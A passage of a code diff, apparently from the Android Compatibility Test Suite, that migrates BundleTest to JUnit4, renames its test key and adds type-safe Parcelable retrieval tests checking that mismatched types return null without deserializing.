+                        assertTrue("Expected " + fieldName + " value to be <= " + CUR_DEVELOPMENT
+                                + ", got " + fieldValue, fieldValue <= CUR_DEVELOPMENT);
+                    } else {
+                        assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
+                                + ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
+                    }
+                    declaredCodenames.add(fieldNameWithoutUnderscores);
+                    assertTrue("Expected " + fieldNameWithoutUnderscores
+                                        + " to be declared in Build.VERSION.KNOWN_CODENAMES",
+                            knownCodenames.contains(fieldNameWithoutUnderscores));
                 }
             }
         }
+
+        HashSet<String> diff = new HashSet<>(knownCodenames);
+        diff.removeAll(declaredCodenames);
+        assertTrue(
+                "Expected all elements in Build.VERSION.KNOWN_CODENAMES to be declared in"
+                        + " Build.VERSION_CODES, found " + diff, diff.isEmpty());
+
+        if (!Build.VERSION.CODENAME.equals("REL")) {
+            assertTrue("In-development CODENAME must be declared in Build.VERSION.KNOWN_CODENAMES",
+                Build.VERSION.KNOWN_CODENAMES.contains(Build.VERSION.CODENAME));
+        }
     }
 
     /**
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index 9eb9ddf..380cf23 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -17,66 +17,109 @@
 package android.os.cts;
 
 
-import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertThrows;
 
+import android.content.ContentResolver;
+import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
 import android.os.Parcelable;
-import android.test.AndroidTestCase;
+
+import androidx.annotation.Nullable;
+import androidx.test.runner.AndroidJUnit4;
+
+
+import androidx.test.InstrumentationRegistry;
+
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.style.ForegroundColorSpan;
+import android.util.Log;
 import android.util.SparseArray;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Objects;
 import java.util.Set;
+import java.util.concurrent.Callable;
 
-public class BundleTest extends AndroidTestCase {
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static java.util.Collections.singletonList;
+
+@RunWith(AndroidJUnit4.class)
+public class BundleTest {
     private static final boolean BOOLEANKEYVALUE = false;
-
     private static final int INTKEYVALUE = 20;
-
     private static final String INTKEY = "intkey";
-
     private static final String BOOLEANKEY = "booleankey";
 
-    public static final String KEY = "Bruce Lee";
-
+    /** Keys should be in hash code order */
+    private static final String KEY1 = "key1";
     private static final String KEY2 = "key2";
 
     private Spannable mSpannable;
-
     private Bundle mBundle;
+    private Context mContext;
+    private ContentResolver mResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mResolver = mContext.getContentResolver();
         mBundle = new Bundle();
+        mBundle.setClassLoader(getClass().getClassLoader());
         mSpannable = new SpannableString("foo bar");
         mSpannable.setSpan(new ForegroundColorSpan(0x123456), 0, 3, 0);
     }
 
+    @After
+    public void tearDown() throws Exception {
+        CustomParcelable.sDeserialized = false;
+        CustomSerializable.sDeserialized = false;
+    }
+
+    @Test
     public void testBundle() {
         final Bundle b1 = new Bundle();
         assertTrue(b1.isEmpty());
-        b1.putBoolean(KEY, true);
+        b1.putBoolean(KEY1, true);
         assertFalse(b1.isEmpty());
 
         final Bundle b2 = new Bundle(b1);
-        assertTrue(b2.getBoolean(KEY));
+        assertTrue(b2.getBoolean(KEY1));
 
         new Bundle(1024);
         new Bundle(getClass().getClassLoader());
     }
 
+    @Test
     public void testEmptyStream() {
         Parcel p = Parcel.obtain();
         p.unmarshall(new byte[] {}, 0, 0);
@@ -89,9 +132,10 @@
     }
 
     // first put sth into tested Bundle, it shouldn't be empty, then clear it and it should be empty
+    @Test
     public void testClear() {
         mBundle.putBoolean("android", true);
-        mBundle.putBoolean(KEY, true);
+        mBundle.putBoolean(KEY1, true);
         assertFalse(mBundle.isEmpty());
         mBundle.clear();
         assertTrue(mBundle.isEmpty());
@@ -99,6 +143,7 @@
 
     // first clone the tested Bundle, then compare the original Bundle with the
     // cloned Bundle, they should equal
+    @Test
     public void testClone() {
         mBundle.putBoolean(BOOLEANKEY, BOOLEANKEYVALUE);
         mBundle.putInt(INTKEY, INTKEYVALUE);
@@ -110,53 +155,58 @@
 
     // containsKey would return false if nothing has been put into the Bundle,
     // else containsKey would return true if any putXXX has been called before
+    @Test
     public void testContainsKey() {
-        assertFalse(mBundle.containsKey(KEY));
-        mBundle.putBoolean(KEY, true);
-        assertTrue(mBundle.containsKey(KEY));
+        assertFalse(mBundle.containsKey(KEY1));
+        mBundle.putBoolean(KEY1, true);
+        assertTrue(mBundle.containsKey(KEY1));
         roundtrip();
-        assertTrue(mBundle.containsKey(KEY));
+        assertTrue(mBundle.containsKey(KEY1));
     }
 
     // get would return null if nothing has been put into the Bundle,else get
     // would return the value set by putXXX
+    @Test
     public void testGet() {
-        assertNull(mBundle.get(KEY));
-        mBundle.putBoolean(KEY, true);
-        assertNotNull(mBundle.get(KEY));
+        assertNull(mBundle.get(KEY1));
+        mBundle.putBoolean(KEY1, true);
+        assertNotNull(mBundle.get(KEY1));
         roundtrip();
-        assertNotNull(mBundle.get(KEY));
+        assertNotNull(mBundle.get(KEY1));
     }
 
+    @Test
     public void testGetBoolean1() {
-        assertFalse(mBundle.getBoolean(KEY));
-        mBundle.putBoolean(KEY, true);
-        assertTrue(mBundle.getBoolean(KEY));
+        assertFalse(mBundle.getBoolean(KEY1));
+        mBundle.putBoolean(KEY1, true);
+        assertTrue(mBundle.getBoolean(KEY1));
         roundtrip();
-        assertTrue(mBundle.getBoolean(KEY));
+        assertTrue(mBundle.getBoolean(KEY1));
     }
 
+    @Test
     public void testGetBoolean2() {
-        assertTrue(mBundle.getBoolean(KEY, true));
-        mBundle.putBoolean(KEY, false);
-        assertFalse(mBundle.getBoolean(KEY, true));
+        assertTrue(mBundle.getBoolean(KEY1, true));
+        mBundle.putBoolean(KEY1, false);
+        assertFalse(mBundle.getBoolean(KEY1, true));
         roundtrip();
-        assertFalse(mBundle.getBoolean(KEY, true));
+        assertFalse(mBundle.getBoolean(KEY1, true));
     }
 
+    @Test
     public void testGetBooleanArray() {
-        assertNull(mBundle.getBooleanArray(KEY));
-        mBundle.putBooleanArray(KEY, new boolean[] {
+        assertNull(mBundle.getBooleanArray(KEY1));
+        mBundle.putBooleanArray(KEY1, new boolean[] {
                 true, false, true
         });
-        boolean[] booleanArray = mBundle.getBooleanArray(KEY);
+        boolean[] booleanArray = mBundle.getBooleanArray(KEY1);
         assertNotNull(booleanArray);
         assertEquals(3, booleanArray.length);
         assertEquals(true, booleanArray[0]);
         assertEquals(false, booleanArray[1]);
         assertEquals(true, booleanArray[2]);
         roundtrip();
-        booleanArray = mBundle.getBooleanArray(KEY);
+        booleanArray = mBundle.getBooleanArray(KEY1);
         assertNotNull(booleanArray);
         assertEquals(3, booleanArray.length);
         assertEquals(true, booleanArray[0]);
@@ -164,49 +214,53 @@
         assertEquals(true, booleanArray[2]);
     }
 
+    @Test
     public void testGetBundle() {
-        assertNull(mBundle.getBundle(KEY));
+        assertNull(mBundle.getBundle(KEY1));
         final Bundle bundle = new Bundle();
-        mBundle.putBundle(KEY, bundle);
-        assertTrue(bundle.equals(mBundle.getBundle(KEY)));
+        mBundle.putBundle(KEY1, bundle);
+        assertTrue(bundle.equals(mBundle.getBundle(KEY1)));
         roundtrip();
-        assertBundleEquals(bundle, mBundle.getBundle(KEY));
+        assertBundleEquals(bundle, mBundle.getBundle(KEY1));
     }
 
+    @Test
     public void testGetByte1() {
         final byte b = 7;
 
-        assertEquals(0, mBundle.getByte(KEY));
-        mBundle.putByte(KEY, b);
-        assertEquals(b, mBundle.getByte(KEY));
+        assertEquals(0, mBundle.getByte(KEY1));
+        mBundle.putByte(KEY1, b);
+        assertEquals(b, mBundle.getByte(KEY1));
         roundtrip();
-        assertEquals(b, mBundle.getByte(KEY));
+        assertEquals(b, mBundle.getByte(KEY1));
     }
 
+    @Test
     public void testGetByte2() {
         final byte b1 = 6;
         final byte b2 = 7;
 
-        assertEquals((Byte)b1, mBundle.getByte(KEY, b1));
-        mBundle.putByte(KEY, b2);
-        assertEquals((Byte)b2, mBundle.getByte(KEY, b1));
+        assertEquals((Byte)b1, mBundle.getByte(KEY1, b1));
+        mBundle.putByte(KEY1, b2);
+        assertEquals((Byte)b2, mBundle.getByte(KEY1, b1));
         roundtrip();
-        assertEquals((Byte)b2, mBundle.getByte(KEY, b1));
+        assertEquals((Byte)b2, mBundle.getByte(KEY1, b1));
     }
 
+    @Test
     public void testGetByteArray() {
-        assertNull(mBundle.getByteArray(KEY));
-        mBundle.putByteArray(KEY, new byte[] {
+        assertNull(mBundle.getByteArray(KEY1));
+        mBundle.putByteArray(KEY1, new byte[] {
                 1, 2, 3
         });
-        byte[] byteArray = mBundle.getByteArray(KEY);
+        byte[] byteArray = mBundle.getByteArray(KEY1);
         assertNotNull(byteArray);
         assertEquals(3, byteArray.length);
         assertEquals(1, byteArray[0]);
         assertEquals(2, byteArray[1]);
         assertEquals(3, byteArray[2]);
         roundtrip();
-        byteArray = mBundle.getByteArray(KEY);
+        byteArray = mBundle.getByteArray(KEY1);
         assertNotNull(byteArray);
         assertEquals(3, byteArray.length);
         assertEquals(1, byteArray[0]);
@@ -214,68 +268,73 @@
         assertEquals(3, byteArray[2]);
     }
 
+    @Test
     public void testGetChar1() {
         final char c = 'l';
 
-        assertEquals((char)0, mBundle.getChar(KEY));
-        mBundle.putChar(KEY, c);
-        assertEquals(c, mBundle.getChar(KEY));
+        assertEquals((char)0, mBundle.getChar(KEY1));
+        mBundle.putChar(KEY1, c);
+        assertEquals(c, mBundle.getChar(KEY1));
         roundtrip();
-        assertEquals(c, mBundle.getChar(KEY));
+        assertEquals(c, mBundle.getChar(KEY1));
     }
 
+    @Test
     public void testGetChar2() {
         final char c1 = 'l';
         final char c2 = 'i';
 
-        assertEquals(c1, mBundle.getChar(KEY, c1));
-        mBundle.putChar(KEY, c2);
-        assertEquals(c2, mBundle.getChar(KEY, c1));
+        assertEquals(c1, mBundle.getChar(KEY1, c1));
+        mBundle.putChar(KEY1, c2);
+        assertEquals(c2, mBundle.getChar(KEY1, c1));
         roundtrip();
-        assertEquals(c2, mBundle.getChar(KEY, c1));
+        assertEquals(c2, mBundle.getChar(KEY1, c1));
     }
 
+    @Test
     public void testGetCharArray() {
-        assertNull(mBundle.getCharArray(KEY));
-        mBundle.putCharArray(KEY, new char[] {
+        assertNull(mBundle.getCharArray(KEY1));
+        mBundle.putCharArray(KEY1, new char[] {
                 'h', 'i'
         });
-        char[] charArray = mBundle.getCharArray(KEY);
+        char[] charArray = mBundle.getCharArray(KEY1);
         assertEquals('h', charArray[0]);
         assertEquals('i', charArray[1]);
         roundtrip();
-        charArray = mBundle.getCharArray(KEY);
+        charArray = mBundle.getCharArray(KEY1);
         assertEquals('h', charArray[0]);
         assertEquals('i', charArray[1]);
     }
 
+    @Test
     public void testGetCharSequence() {
         final CharSequence cS = "Bruce Lee";
 
-        assertNull(mBundle.getCharSequence(KEY));
+        assertNull(mBundle.getCharSequence(KEY1));
         assertNull(mBundle.getCharSequence(KEY2));
-        mBundle.putCharSequence(KEY, cS);
+        mBundle.putCharSequence(KEY1, cS);
         mBundle.putCharSequence(KEY2, mSpannable);
-        assertEquals(cS, mBundle.getCharSequence(KEY));
+        assertEquals(cS, mBundle.getCharSequence(KEY1));
         assertSpannableEquals(mSpannable, mBundle.getCharSequence(KEY2));
         roundtrip();
-        assertEquals(cS, mBundle.getCharSequence(KEY));
+        assertEquals(cS, mBundle.getCharSequence(KEY1));
         assertSpannableEquals(mSpannable, mBundle.getCharSequence(KEY2));
     }
 
+    @Test
     public void testGetCharSequenceArray() {
-        assertNull(mBundle.getCharSequenceArray(KEY));
-        mBundle.putCharSequenceArray(KEY, new CharSequence[] {
+        assertNull(mBundle.getCharSequenceArray(KEY1));
+        mBundle.putCharSequenceArray(KEY1, new CharSequence[] {
                 "one", "two", "three", mSpannable
         });
-        CharSequence[] ret = mBundle.getCharSequenceArray(KEY);
+        CharSequence[] ret = mBundle.getCharSequenceArray(KEY1);
         assertEquals(4, ret.length);
         assertEquals("one", ret[0]);
         assertEquals("two", ret[1]);
         assertEquals("three", ret[2]);
         assertSpannableEquals(mSpannable, ret[3]);
         roundtrip();
-        ret = mBundle.getCharSequenceArray(KEY);
+        ret = mBundle.getCharSequenceArray(KEY1);
         assertEquals(4, ret.length);
         assertEquals("one", ret[0]);
         assertEquals("two", ret[1]);
@@ -283,23 +342,24 @@
         assertSpannableEquals(mSpannable, ret[3]);
     }
 
+    @Test
     public void testGetCharSequenceArrayList() {
-        assertNull(mBundle.getCharSequenceArrayList(KEY));
+        assertNull(mBundle.getCharSequenceArrayList(KEY1));
         final ArrayList<CharSequence> list = new ArrayList<CharSequence>();
         list.add("one");
         list.add("two");
         list.add("three");
         list.add(mSpannable);
-        mBundle.putCharSequenceArrayList(KEY, list);
+        mBundle.putCharSequenceArrayList(KEY1, list);
         roundtrip();
-        ArrayList<CharSequence> ret = mBundle.getCharSequenceArrayList(KEY);
+        ArrayList<CharSequence> ret = mBundle.getCharSequenceArrayList(KEY1);
         assertEquals(4, ret.size());
         assertEquals("one", ret.get(0));
         assertEquals("two", ret.get(1));
         assertEquals("three", ret.get(2));
         assertSpannableEquals(mSpannable, ret.get(3));
         roundtrip();
-        ret = mBundle.getCharSequenceArrayList(KEY);
+        ret = mBundle.getCharSequenceArrayList(KEY1);
         assertEquals(4, ret.size());
         assertEquals("one", ret.get(0));
         assertEquals("two", ret.get(1));
@@ -307,356 +367,581 @@
         assertSpannableEquals(mSpannable, ret.get(3));
     }
 
+    @Test
     public void testGetDouble1() {
         final double d = 10.07;
 
-        assertEquals(0.0, mBundle.getDouble(KEY));
-        mBundle.putDouble(KEY, d);
-        assertEquals(d, mBundle.getDouble(KEY));
+        assertEquals(0.0, mBundle.getDouble(KEY1), 0.0);
+        mBundle.putDouble(KEY1, d);
+        assertEquals(d, mBundle.getDouble(KEY1), 0.0);
         roundtrip();
-        assertEquals(d, mBundle.getDouble(KEY));
+        assertEquals(d, mBundle.getDouble(KEY1), 0.0);
     }
 
+    @Test
     public void testGetDouble2() {
         final double d1 = 10.06;
         final double d2 = 10.07;
 
-        assertEquals(d1, mBundle.getDouble(KEY, d1));
-        mBundle.putDouble(KEY, d2);
-        assertEquals(d2, mBundle.getDouble(KEY, d1));
+        assertEquals(d1, mBundle.getDouble(KEY1, d1), 0.0);
+        mBundle.putDouble(KEY1, d2);
+        assertEquals(d2, mBundle.getDouble(KEY1, d1), 0.0);
         roundtrip();
-        assertEquals(d2, mBundle.getDouble(KEY, d1));
+        assertEquals(d2, mBundle.getDouble(KEY1, d1), 0.0);
     }
 
+    @Test
     public void testGetDoubleArray() {
-        assertNull(mBundle.getDoubleArray(KEY));
-        mBundle.putDoubleArray(KEY, new double[] {
+        assertNull(mBundle.getDoubleArray(KEY1));
+        mBundle.putDoubleArray(KEY1, new double[] {
                 10.06, 10.07
         });
-        double[] doubleArray = mBundle.getDoubleArray(KEY);
-        assertEquals(10.06, doubleArray[0]);
-        assertEquals(10.07, doubleArray[1]);
+        double[] doubleArray = mBundle.getDoubleArray(KEY1);
+        assertEquals(10.06, doubleArray[0], 0.0);
+        assertEquals(10.07, doubleArray[1], 0.0);
         roundtrip();
-        doubleArray = mBundle.getDoubleArray(KEY);
-        assertEquals(10.06, doubleArray[0]);
-        assertEquals(10.07, doubleArray[1]);
+        doubleArray = mBundle.getDoubleArray(KEY1);
+        assertEquals(10.06, doubleArray[0], 0.0);
+        assertEquals(10.07, doubleArray[1], 0.0);
     }
 
+    @Test
     public void testGetFloat1() {
         final float f = 10.07f;
 
-        assertEquals(0.0f, mBundle.getFloat(KEY));
-        mBundle.putFloat(KEY, f);
-        assertEquals(f, mBundle.getFloat(KEY));
+        assertEquals(0.0f, mBundle.getFloat(KEY1), 0.0f);
+        mBundle.putFloat(KEY1, f);
+        assertEquals(f, mBundle.getFloat(KEY1), 0.0f);
         roundtrip();
-        assertEquals(f, mBundle.getFloat(KEY));
+        assertEquals(f, mBundle.getFloat(KEY1), 0.0f);
     }
 
+    @Test
     public void testGetFloat2() {
         final float f1 = 10.06f;
         final float f2 = 10.07f;
 
-        assertEquals(f1, mBundle.getFloat(KEY, f1));
-        mBundle.putFloat(KEY, f2);
-        assertEquals(f2, mBundle.getFloat(KEY, f1));
+        assertEquals(f1, mBundle.getFloat(KEY1, f1), 0.0f);
+        mBundle.putFloat(KEY1, f2);
+        assertEquals(f2, mBundle.getFloat(KEY1, f1), 0.0f);
         roundtrip();
-        assertEquals(f2, mBundle.getFloat(KEY, f1));
+        assertEquals(f2, mBundle.getFloat(KEY1, f1), 0.0f);
     }
 
+    @Test
     public void testGetFloatArray() {
-        assertNull(mBundle.getFloatArray(KEY));
-        mBundle.putFloatArray(KEY, new float[] {
+        assertNull(mBundle.getFloatArray(KEY1));
+        mBundle.putFloatArray(KEY1, new float[] {
                 10.06f, 10.07f
         });
-        float[] floatArray = mBundle.getFloatArray(KEY);
-        assertEquals(10.06f, floatArray[0]);
-        assertEquals(10.07f, floatArray[1]);
+        float[] floatArray = mBundle.getFloatArray(KEY1);
+        assertEquals(10.06f, floatArray[0], 0.0f);
+        assertEquals(10.07f, floatArray[1], 0.0f);
         roundtrip();
-        floatArray = mBundle.getFloatArray(KEY);
-        assertEquals(10.06f, floatArray[0]);
-        assertEquals(10.07f, floatArray[1]);
+        floatArray = mBundle.getFloatArray(KEY1);
+        assertEquals(10.06f, floatArray[0], 0.0f);
+        assertEquals(10.07f, floatArray[1], 0.0f);
     }
 
+    @Test
     public void testGetInt1() {
         final int i = 1007;
 
-        assertEquals(0, mBundle.getInt(KEY));
-        mBundle.putInt(KEY, i);
-        assertEquals(i, mBundle.getInt(KEY));
+        assertEquals(0, mBundle.getInt(KEY1));
+        mBundle.putInt(KEY1, i);
+        assertEquals(i, mBundle.getInt(KEY1));
         roundtrip();
-        assertEquals(i, mBundle.getInt(KEY));
+        assertEquals(i, mBundle.getInt(KEY1));
     }
 
+    @Test
     public void testGetInt2() {
         final int i1 = 1006;
         final int i2 = 1007;
 
-        assertEquals(i1, mBundle.getInt(KEY, i1));
-        mBundle.putInt(KEY, i2);
-        assertEquals(i2, mBundle.getInt(KEY, i2));
+        assertEquals(i1, mBundle.getInt(KEY1, i1));
+        mBundle.putInt(KEY1, i2);
+        assertEquals(i2, mBundle.getInt(KEY1, i2));
         roundtrip();
-        assertEquals(i2, mBundle.getInt(KEY, i2));
+        assertEquals(i2, mBundle.getInt(KEY1, i2));
     }
 
+    @Test
     public void testGetIntArray() {
-        assertNull(mBundle.getIntArray(KEY));
-        mBundle.putIntArray(KEY, new int[] {
+        assertNull(mBundle.getIntArray(KEY1));
+        mBundle.putIntArray(KEY1, new int[] {
                 1006, 1007
         });
-        int[] intArray = mBundle.getIntArray(KEY);
+        int[] intArray = mBundle.getIntArray(KEY1);
         assertEquals(1006, intArray[0]);
         assertEquals(1007, intArray[1]);
         roundtrip();
-        intArray = mBundle.getIntArray(KEY);
+        intArray = mBundle.getIntArray(KEY1);
         assertEquals(1006, intArray[0]);
         assertEquals(1007, intArray[1]);
     }
 
     // getIntegerArrayList should only return the IntegerArrayList set by putIntegerArrayLis
+    @Test
     public void testGetIntegerArrayList() {
         final int i1 = 1006;
         final int i2 = 1007;
 
-        assertNull(mBundle.getIntegerArrayList(KEY));
+        assertNull(mBundle.getIntegerArrayList(KEY1));
         final ArrayList<Integer> arrayList = new ArrayList<Integer>();
         arrayList.add(i1);
         arrayList.add(i2);
-        mBundle.putIntegerArrayList(KEY, arrayList);
-        ArrayList<Integer> retArrayList = mBundle.getIntegerArrayList(KEY);
+        mBundle.putIntegerArrayList(KEY1, arrayList);
+        ArrayList<Integer> retArrayList = mBundle.getIntegerArrayList(KEY1);
         assertNotNull(retArrayList);
         assertEquals(2, retArrayList.size());
         assertEquals((Integer)i1, retArrayList.get(0));
         assertEquals((Integer)i2, retArrayList.get(1));
         roundtrip();
-        retArrayList = mBundle.getIntegerArrayList(KEY);
+        retArrayList = mBundle.getIntegerArrayList(KEY1);
         assertNotNull(retArrayList);
         assertEquals(2, retArrayList.size());
         assertEquals((Integer)i1, retArrayList.get(0));
         assertEquals((Integer)i2, retArrayList.get(1));
     }
 
+    @Test
     public void testGetLong1() {
         final long l = 1007;
 
-        assertEquals(0, mBundle.getLong(KEY));
-        mBundle.putLong(KEY, l);
-        assertEquals(l, mBundle.getLong(KEY));
+        assertEquals(0, mBundle.getLong(KEY1));
+        mBundle.putLong(KEY1, l);
+        assertEquals(l, mBundle.getLong(KEY1));
         roundtrip();
-        assertEquals(l, mBundle.getLong(KEY));
+        assertEquals(l, mBundle.getLong(KEY1));
     }
 
+    @Test
     public void testGetLong2() {
         final long l1 = 1006;
         final long l2 = 1007;
 
-        assertEquals(l1, mBundle.getLong(KEY, l1));
-        mBundle.putLong(KEY, l2);
-        assertEquals(l2, mBundle.getLong(KEY, l2));
+        assertEquals(l1, mBundle.getLong(KEY1, l1));
+        mBundle.putLong(KEY1, l2);
+        assertEquals(l2, mBundle.getLong(KEY1, l2));
         roundtrip();
-        assertEquals(l2, mBundle.getLong(KEY, l2));
+        assertEquals(l2, mBundle.getLong(KEY1, l2));
     }
 
+    @Test
     public void testGetLongArray() {
-        assertNull(mBundle.getLongArray(KEY));
-        mBundle.putLongArray(KEY, new long[] {
+        assertNull(mBundle.getLongArray(KEY1));
+        mBundle.putLongArray(KEY1, new long[] {
                 1006, 1007
         });
-        long[] longArray = mBundle.getLongArray(KEY);
+        long[] longArray = mBundle.getLongArray(KEY1);
         assertEquals(1006, longArray[0]);
         assertEquals(1007, longArray[1]);
         roundtrip();
-        longArray = mBundle.getLongArray(KEY);
+        longArray = mBundle.getLongArray(KEY1);
         assertEquals(1006, longArray[0]);
         assertEquals(1007, longArray[1]);
     }
 
+    @Test
     public void testGetParcelable() {
-        assertNull(mBundle.getParcelable(KEY));
+        assertNull(mBundle.getParcelable(KEY1));
         final Bundle bundle = new Bundle();
-        mBundle.putParcelable(KEY, bundle);
-        assertTrue(bundle.equals(mBundle.getParcelable(KEY)));
+        mBundle.putParcelable(KEY1, bundle);
+        assertTrue(bundle.equals(mBundle.getParcelable(KEY1)));
         roundtrip();
-        assertBundleEquals(bundle, (Bundle) mBundle.getParcelable(KEY));
+        assertBundleEquals(bundle, (Bundle) mBundle.getParcelable(KEY1));
+    }
+
+    @Test
+    public void testGetParcelableTypeSafe_withMismatchingType_returnsNull() {
+        mBundle.putParcelable(KEY1, new CustomParcelable(42, "don't panic"));
+        roundtrip();
+        assertNull(mBundle.getParcelable(KEY1, Intent.class));
+        assertFalse(CustomParcelable.sDeserialized);
+    }
+
+    @Test
+    public void testGetParcelableTypeSafe_withMatchingType_returnsObject() {
+        final CustomParcelable original = new CustomParcelable(42, "don't panic");
+        mBundle.putParcelable(KEY1, original);
+        roundtrip();
+        assertEquals(original, mBundle.getParcelable(KEY1, CustomParcelable.class));
+    }
+
+    @Test
+    public void testGetParcelableTypeSafe_withBaseType_returnsObject() {
+        final CustomParcelable original = new CustomParcelable(42, "don't panic");
+        mBundle.putParcelable(KEY1, original);
+        roundtrip();
+        assertEquals(original, mBundle.getParcelable(KEY1, Parcelable.class));
     }
 
     // getParcelableArray should only return the ParcelableArray set by putParcelableArray
+    @Test
     public void testGetParcelableArray() {
-        assertNull(mBundle.getParcelableArray(KEY));
+        assertNull(mBundle.getParcelableArray(KEY1));
         final Bundle bundle1 = new Bundle();
         final Bundle bundle2 = new Bundle();
-        mBundle.putParcelableArray(KEY, new Bundle[] {
+        mBundle.putParcelableArray(KEY1, new Bundle[] {
                 bundle1, bundle2
         });
-        Parcelable[] parcelableArray = mBundle.getParcelableArray(KEY);
+        Parcelable[] parcelableArray = mBundle.getParcelableArray(KEY1);
         assertEquals(2, parcelableArray.length);
         assertTrue(bundle1.equals(parcelableArray[0]));
         assertTrue(bundle2.equals(parcelableArray[1]));
         roundtrip();
-        parcelableArray = mBundle.getParcelableArray(KEY);
+        parcelableArray = mBundle.getParcelableArray(KEY1);
         assertEquals(2, parcelableArray.length);
         assertBundleEquals(bundle1, (Bundle) parcelableArray[0]);
         assertBundleEquals(bundle2, (Bundle) parcelableArray[1]);
     }
 
+    @Test
+    public void testGetParcelableArrayTypeSafe_withMismatchingType_returnsNull() {
+        mBundle.putParcelableArray(KEY1, new CustomParcelable[] {
+                new CustomParcelable(42, "don't panic")
+        });
+        roundtrip();
+        assertNull(mBundle.getParcelableArray(KEY1, Intent.class));
+        assertFalse(CustomParcelable.sDeserialized);
+    }
+
+    @Test
+    public void testGetParcelableArrayTypeSafe_withMatchingType_returnsObject() {
+        final CustomParcelable[] original = new CustomParcelable[] {
+                new CustomParcelable(42, "don't panic"),
+                new CustomParcelable(1961, "off we go")
+        };
+        mBundle.putParcelableArray(KEY1, original);
+        roundtrip();
+        assertArrayEquals(original, mBundle.getParcelableArray(KEY1, CustomParcelable.class));
+    }
+
+    @Test
+    public void testGetParcelableArrayTypeSafe_withBaseType_returnsObject() {
+        final CustomParcelable[] original = new CustomParcelable[] {
+                new CustomParcelable(42, "don't panic"),
+                new CustomParcelable(1961, "off we go")
+        };
+        mBundle.putParcelableArray(KEY1, original);
+        roundtrip();
+        assertArrayEquals(original, mBundle.getParcelableArray(KEY1, Parcelable.class));
+    }
+
     // getParcelableArrayList should only return the parcelableArrayList set by putParcelableArrayList
+    @Test
     public void testGetParcelableArrayList() {
-        assertNull(mBundle.getParcelableArrayList(KEY));
+        assertNull(mBundle.getParcelableArrayList(KEY1));
         final ArrayList<Parcelable> parcelableArrayList = new ArrayList<Parcelable>();
         final Bundle bundle1 = new Bundle();
         final Bundle bundle2 = new Bundle();
         parcelableArrayList.add(bundle1);
         parcelableArrayList.add(bundle2);
-        mBundle.putParcelableArrayList(KEY, parcelableArrayList);
-        ArrayList<Parcelable> ret = mBundle.getParcelableArrayList(KEY);
+        mBundle.putParcelableArrayList(KEY1, parcelableArrayList);
+        ArrayList<Parcelable> ret = mBundle.getParcelableArrayList(KEY1);
         assertEquals(2, ret.size());
         assertTrue(bundle1.equals(ret.get(0)));
         assertTrue(bundle2.equals(ret.get(1)));
         roundtrip();
-        ret = mBundle.getParcelableArrayList(KEY);
+        ret = mBundle.getParcelableArrayList(KEY1);
         assertEquals(2, ret.size());
         assertBundleEquals(bundle1, (Bundle) ret.get(0));
         assertBundleEquals(bundle2, (Bundle) ret.get(1));
     }
 
+    @Test
+    public void testGetParcelableArrayListTypeSafe_withMismatchingType_returnsNull() {
+        final ArrayList<CustomParcelable> originalObjects = new ArrayList<>();
+        originalObjects.add(new CustomParcelable(42, "don't panic"));
+        mBundle.putParcelableArrayList(KEY1, originalObjects);
+        roundtrip();
+        assertNull(mBundle.getParcelableArrayList(KEY1, Intent.class));
+        assertFalse(CustomParcelable.sDeserialized);
+    }
+
+    @Test
+    public void testGetParcelableArrayListTypeSafe_withMatchingType_returnsObject() {
+        final ArrayList<CustomParcelable> original = new ArrayList<>();
+        original.add(new CustomParcelable(42, "don't panic"));
+        original.add(new CustomParcelable(1961, "off we go"));
+        mBundle.putParcelableArrayList(KEY1, original);
+        roundtrip();
+        assertEquals(original, mBundle.getParcelableArrayList(KEY1, CustomParcelable.class));
+    }
+
+    @Test
+    public void testGetParcelableArrayListTypeSafe_withMismatchingTypeAndDifferentReturnType_returnsNull() {
+        final ArrayList<CustomParcelable> originalObjects = new ArrayList<>();
+        originalObjects.add(new CustomParcelable(42, "don't panic"));
+        mBundle.putParcelableArrayList(KEY1, originalObjects);
+        roundtrip();
+        ArrayList<Parcelable> result = mBundle.getParcelableArrayList(KEY1, Intent.class);
+        assertNull(result);
+        assertFalse(CustomParcelable.sDeserialized);
+    }
+
+    @Test
+    public void testGetParcelableArrayListTypeSafe_withMatchingTypeAndDifferentReturnType__returnsObject() {
+        final ArrayList<CustomParcelable> original = new ArrayList<>();
+        original.add(new CustomParcelable(42, "don't panic"));
+        original.add(new CustomParcelable(1961, "off we go"));
+        mBundle.putParcelableArrayList(KEY1, original);
+        roundtrip();
+        ArrayList<Parcelable> result = mBundle.getParcelableArrayList(KEY1, CustomParcelable.class);
+        assertEquals(original, result);
+    }
+
+    @Test
+    public void testGetParcelableArrayListTypeSafe_withBaseType_returnsObject() {
+        final ArrayList<CustomParcelable> original = new ArrayList<>();
+        original.add(new CustomParcelable(42, "don't panic"));
+        original.add(new CustomParcelable(1961, "off we go"));
+        mBundle.putParcelableArrayList(KEY1, original);
+        roundtrip();
+        assertEquals(original, mBundle.getParcelableArrayList(KEY1, Parcelable.class));
+    }
+
+    @Test
+    public void testGetSerializableTypeSafe_withMismatchingType_returnsNull() {
